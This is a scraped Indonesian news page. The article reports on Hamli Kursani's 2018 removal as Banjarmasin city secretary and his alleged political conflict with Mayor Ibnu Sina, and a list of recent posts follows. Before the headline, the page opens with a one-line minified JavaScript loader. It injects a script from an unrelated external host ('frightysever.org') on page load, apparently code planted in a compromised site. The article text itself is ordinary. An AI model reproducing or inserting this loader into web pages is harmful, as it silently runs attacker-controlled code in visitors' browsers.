(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pencopotan Hamli dari Sekdako Banjarmasin Dilatari Konflik dengan Walikota?


BANJARMASIN, Usai dicopot dari jabatan Sekretaris Daerah Kota (Sekdako) Banjarmasin melalui Surat Keputusan (SK) Walikota Ibnu Sina No 880/002-KUM.DIS/BKD,DIKLAT/2018 tertanggal 10 April 2018, Hamli Kursani menjalani pemeriksaan dari Inspektorat Banjarmasin, Senin (16/4). Selama lebih tiga jam, mulai pukul 09.30-13.00 Wita, Hamli disodori sembilan pertanyaan. Lalu, benarkah motif pencopotan tersebut dilatari konflik internal dengan Walikota Ibnu Sina?

Selama ini pihak Pemko Banjarmasin enggan mengungkap indisipliner seperti apa yang menjadi alasan pencopotan Hamli. Mengingat, untuk memutuskan memberhentikan sementara seorang Sekdako sebagai pejabat tertinggi aparatur sipil negara (ASN) di Kota Banjarmasin, tentunya Walikota Ibnu Sina memiliki alasan yang sangat kuat. Kecil kemungkinan, jika indisipliner yang dimaksud sekadar urusan adminitrasi pemerintahan atau lainnya.

Nah, lalu apa? Informasi yang beredar pencopotan Hamli memang berlatar ketidak sepahaman dengan Walikota Ibnu Sina. Dan SK pencopotan tersebut merupakan ‘puncak gunung es’ dari sejumlah konflik yang terjadi sebelumnya.

Salah satunya, terkait ‘ancaman’ untuk melawan Walikota Ibnu Sina dalam pemilihan Walikota jika dirinya akan diberhentikan dari jabatannya sebagai Sekdako Banjarmasin. Termasuk statemen yang terkait siapa yang akan ditangkap lebih dulu jika nanti ada kasus penangkapan.

Usai pemeriksaan selama tiga jam tersebut, Hamli mengatakan bahwa salah satu dari sembilan pertanyaan yang disampaikan penyidik adalah terkait statemen tersebut. “Ya, ada beberapa ucapan yang dikonfirmasi penyidik. Seperti ucapan ‘amun ada betangkapan (apabila ada penangkapan), kita lihat siapa yang ditangkap lebih dulu’, dan juga ‘bila aku diampihi aku bacalon di Golkar jadi caleg kemudian becalon jua jadi walikota berpasangan dengan anak Pak Muhidin dan kena aku lawani Pak Wali tu (Jika saya diberhentikan, saya akan maju menjadi caleg dari Partai Golkar kemudian juga akan mencalonkan menjadi Walikota berpasangan dengan anak Pak Muhidin—mantan Walikota sebelumnya, red. Dan nanti aku akan melawan Pak Wali itu). Perkataan ini yang dikonfirmasi penyidik, apakah benar itu ucapan saya atau bukan,” terang Hamli.

Jika ‘tantangan politik’ tersebut tersebut benar adanya, bisa jadi membuat Walikota Ibnu Sina gerah. Apalagi, Ibnu Sina memang masih memiliki kesempatan untuk kembali bertarung sebagai incumbent jika masa pemerintahannya nanti berakhir pada 2021 nanti. Disamping status Hamli yang masih PNS yang mestinya tidak terlalu masuk pada urusan politik praktis. Tapi, juga akan menjadi terburu-buru jika statement tersebut ditanggapi terlalu serius oleh Ibnu Sina. Mengingat proses politik masih sangat panjang dan bisa berubah sewaktu-waktu.

Hamli memang enggan merinci pertanyaan yang disampaikan inspektorat. Karena ada hal ang bersifat rahasia dan tidak bisa diungkap ke publik. “Jawaban dari pertanyaan lebih bersifat benar atau salah, iya atau tidak. Hal ini agar tidak membocorkan dokumen, jadi untuk jawaban tidak bisa saya ekspos,” katanya.

Sebelumnya, Hamli mengaku bingung apa alasan pencopotan terhadap dirinya.

“Sebab saya juga merupakan Ketua Majelis Pertimbangan Penjatuhan Hukuman Disiplin ASN Pemkot Banjarmasin. Jika ada pelapor dan alat bukti pelanggaran, seharusnya bisa dikonfirmasi kepada saya,” ujarnya beberapa waktu lalu.

Terkait dugaan pelanggaran indisipliner yang dituduhkan kepadanya hingga berimbas pada munculnya SK pencopotan, Hamli juga mengaku adanya kejanggalan. Mengingat pemberian sanksi terhadap ASN harus melalui proses pemeriksaan terlebih dahulu. Dimana hasil pemeriksaan ini selanjutnya diserahkan ke Majelis Pertimbangan Penjatuhan Disiplin. “Nah, pelanggaran disiplin itu sendiri ada kategori ringan, sedang, dan berat. Tapi itu pun harus diawali dengan teguran dan bertahap. Itu yang saya pahami,” jelasnya.

Hamli merasa keputusan pembebastugasan sementara dirinya dengan alasan memperlancar pemeriksaan mengada-ada. Kalaupun ia tetap di Sekdako, tidak akan memberatkan pemeriksaan. Hamli siap memenuhi panggilan kapanpun diperiksa. “Kalau seperti ini sama saja pencemaran nama baik,” tegasnya.


Page: 1 2

Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

29 menit ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

39 menit ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

52 menit ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

3 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

4 jam ago

This website uses cookies.